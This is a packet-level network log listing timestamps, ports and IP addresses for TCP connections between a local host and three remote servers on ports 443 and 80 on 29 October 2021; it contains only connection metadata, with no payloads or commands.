Oct 29, 2021 14:08:52.362270117 CEST	49742	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.362278938 CEST	443	49742	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.362361908 CEST	49742	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.364212036 CEST	49738	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.364227057 CEST	443	49738	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.365191936 CEST	443	49740	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.365261078 CEST	443	49740	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.365307093 CEST	49740	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.365345955 CEST	443	49740	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.365376949 CEST	49740	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.365411997 CEST	49740	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.369000912 CEST	443	49740	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.369050980 CEST	443	49740	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.369136095 CEST	49740	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.369155884 CEST	443	49740	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.369182110 CEST	49740	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.369210958 CEST	49740	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.370183945 CEST	49740	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.370213032 CEST	443	49740	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.376176119 CEST	443	49743	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.376231909 CEST	443	49743	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.376270056 CEST	443	49743	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.376293898 CEST	49743	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.376317978 CEST	49743	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.376327038 CEST	443	49743	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.376347065 CEST	49743	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.376377106 CEST	49743	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.381577015 CEST	443	49742	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.381628036 CEST	443	49742	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.381701946 CEST	49742	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.381731033 CEST	443	49742	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.381745100 CEST	49742	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.381783009 CEST	49742	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.382215023 CEST	443	49742	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.382282019 CEST	49742	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.386847973 CEST	443	49742	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.386884928 CEST	443	49742	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.386954069 CEST	49742	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.386971951 CEST	443	49742	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.386996031 CEST	49742	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.387026072 CEST	49742	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.389795065 CEST	443	49742	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.389867067 CEST	443	49742	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.389944077 CEST	49742	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.389961004 CEST	443	49742	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.389991999 CEST	49742	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.390007019 CEST	49742	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.393271923 CEST	443	49743	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.393361092 CEST	443	49743	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.393393993 CEST	49743	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.393413067 CEST	443	49743	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.393440008 CEST	49743	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.393460035 CEST	49743	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.393472910 CEST	443	49743	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.393532038 CEST	49743	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.395020008 CEST	49743	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.395030975 CEST	443	49743	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.399770021 CEST	443	49742	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.399822950 CEST	443	49742	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.399907112 CEST	49742	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.399938107 CEST	443	49742	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.399990082 CEST	49742	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.400003910 CEST	49742	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.404037952 CEST	443	49742	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.404086113 CEST	443	49742	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.404159069 CEST	49742	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.404176950 CEST	443	49742	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.404215097 CEST	49742	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.404239893 CEST	49742	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.406116009 CEST	443	49742	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.406239033 CEST	49742	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.409998894 CEST	443	49742	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.410043955 CEST	443	49742	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.410125971 CEST	49742	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.410157919 CEST	443	49742	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.410181999 CEST	49742	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.410222054 CEST	49742	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.411773920 CEST	443	49742	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.411881924 CEST	49742	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.412774086 CEST	443	49742	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.412885904 CEST	443	49742	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.412908077 CEST	49742	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.412940025 CEST	49742	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.412955046 CEST	443	49742	23.211.6.115	192.168.2.3
Oct 29, 2021 14:08:52.412971020 CEST	49742	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:52.413013935 CEST	49742	443	192.168.2.3	23.211.6.115
Oct 29, 2021 14:08:55.612183094 CEST	49698	443	192.168.2.3	131.253.33.200
Oct 29, 2021 14:08:55.612406015 CEST	49698	443	192.168.2.3	131.253.33.200
Oct 29, 2021 14:08:55.612477064 CEST	49698	443	192.168.2.3	131.253.33.200
Oct 29, 2021 14:08:55.612515926 CEST	49698	443	192.168.2.3	131.253.33.200
Oct 29, 2021 14:08:55.612552881 CEST	49698	443	192.168.2.3	131.253.33.200
Oct 29, 2021 14:08:55.612577915 CEST	49698	443	192.168.2.3	131.253.33.200
Oct 29, 2021 14:08:55.612592936 CEST	49698	443	192.168.2.3	131.253.33.200
Oct 29, 2021 14:08:55.612617970 CEST	49698	443	192.168.2.3	131.253.33.200
Oct 29, 2021 14:08:55.612631083 CEST	49698	443	192.168.2.3	131.253.33.200
Oct 29, 2021 14:08:55.612644911 CEST	49698	443	192.168.2.3	131.253.33.200
Oct 29, 2021 14:08:55.637326956 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.637370110 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.637397051 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.637420893 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.637448072 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.637492895 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.637518883 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.637542963 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.637567997 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.637593031 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.637619019 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.637645006 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.637721062 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.637748003 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.637783051 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.637821913 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.637887955 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.637916088 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.637943029 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.637989044 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.638009071 CEST	49698	443	192.168.2.3	131.253.33.200
Oct 29, 2021 14:08:55.638073921 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.638099909 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.638124943 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.638149023 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.638175964 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.638201952 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.638283968 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.638359070 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.638382912 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.638417006 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.638443947 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.638509035 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.638535023 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.638559103 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.638582945 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.638655901 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.638683081 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.638849020 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.638875008 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.638900042 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.638926029 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.638948917 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.638974905 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.638998985 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.639024019 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.639050961 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.639074087 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.639100075 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.639137030 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.639213085 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.639239073 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.639266014 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.639291048 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.639352083 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.639379025 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.639436960 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.639461040 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.639486074 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.639554024 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.639578104 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.639602900 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.639630079 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.639653921 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.639684916 CEST	49698	443	192.168.2.3	131.253.33.200
Oct 29, 2021 14:08:55.639710903 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.639754057 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.639816046 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.639952898 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.639978886 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.640002966 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.640088081 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.640115976 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.640139103 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.640163898 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.640189886 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.640253067 CEST	49698	443	192.168.2.3	131.253.33.200
Oct 29, 2021 14:08:55.702564955 CEST	443	49698	131.253.33.200	192.168.2.3
Oct 29, 2021 14:08:55.702760935 CEST	49698	443	192.168.2.3	131.253.33.200
Oct 29, 2021 14:09:40.392545938 CEST	49748	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:40.466916084 CEST	80	49748	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:40.467053890 CEST	49748	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:40.467184067 CEST	49748	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:40.469870090 CEST	49748	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:40.542463064 CEST	80	49748	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:40.544277906 CEST	80	49748	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:40.619699955 CEST	80	49748	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:40.619797945 CEST	49748	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:40.620815039 CEST	49748	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:40.649491072 CEST	49749	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:40.694994926 CEST	80	49748	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:40.718614101 CEST	80	49749	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:40.718907118 CEST	49749	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:40.719016075 CEST	49749	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:40.719103098 CEST	49749	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:40.788470984 CEST	80	49749	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:40.865325928 CEST	80	49749	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:40.865417957 CEST	49749	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:40.872958899 CEST	49749	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:40.942022085 CEST	80	49749	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.236404896 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.309645891 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.309767008 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.309884071 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.424163103 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.488727093 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.488794088 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.488837004 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.488909006 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.488919973 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.488961935 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.488996029 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.489001036 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.489038944 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.489056110 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.489078045 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.489129066 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.489150047 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.489168882 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.489222050 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.562483072 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.562526941 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.562566042 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.562604904 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.562644005 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.562683105 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.562722921 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.562724113 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.562750101 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.562756062 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.562760115 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.562799931 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.562838078 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.562851906 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.562911987 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.562951088 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.562969923 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.562993050 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.563007116 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.563045025 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.563083887 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.563114882 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.563122988 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.563160896 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.563203096 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.563241005 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.563247919 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.563278913 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.563292980 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.563333035 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.636539936 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.636600971 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.636641026 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.636681080 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.636722088 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.636760950 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.636781931 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.636802912 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.636810064 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.636842012 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.636868000 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.636892080 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.636914015 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.636954069 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.636993885 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.637032032 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.637048006 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.637070894 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.637109041 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.637125969 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.637146950 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.637186050 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.637200117 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.637223959 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.637263060 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.637281895 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.637303114 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.637340069 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.637355089 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.637379885 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.637418985 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.637432098 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.637455940 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.637464046 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.637495041 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.637531996 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.637550116 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.637572050 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.637610912 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.637623072 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.637646914 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.637685061 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.637698889 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.637722969 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.637758970 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.637772083 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.637798071 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.637836933 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.637875080 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.637890100 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.637914896 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.637933969 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.637953043 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.637993097 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.638031006 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.638042927 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.638068914 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.638107061 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.638119936 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.638160944 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.711038113 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.711091995 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.711122990 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.711155891 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.711196899 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.711235046 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.711272001 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.711277962 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.711311102 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.711311102 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.711322069 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.711350918 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.711360931 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.711389065 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.711426973 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.711443901 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.711466074 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.711502075 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.711520910 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.711540937 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.711580038 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.711599112 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.711620092 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.711659908 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.711675882 CEST	49750	80	192.168.2.3	5.188.88.203
Oct 29, 2021 14:09:41.711697102 CEST	80	49750	5.188.88.203	192.168.2.3
Oct 29, 2021 14:09:41.711735964 CEST	80	49750	5.188.88.203	192.168.2.3
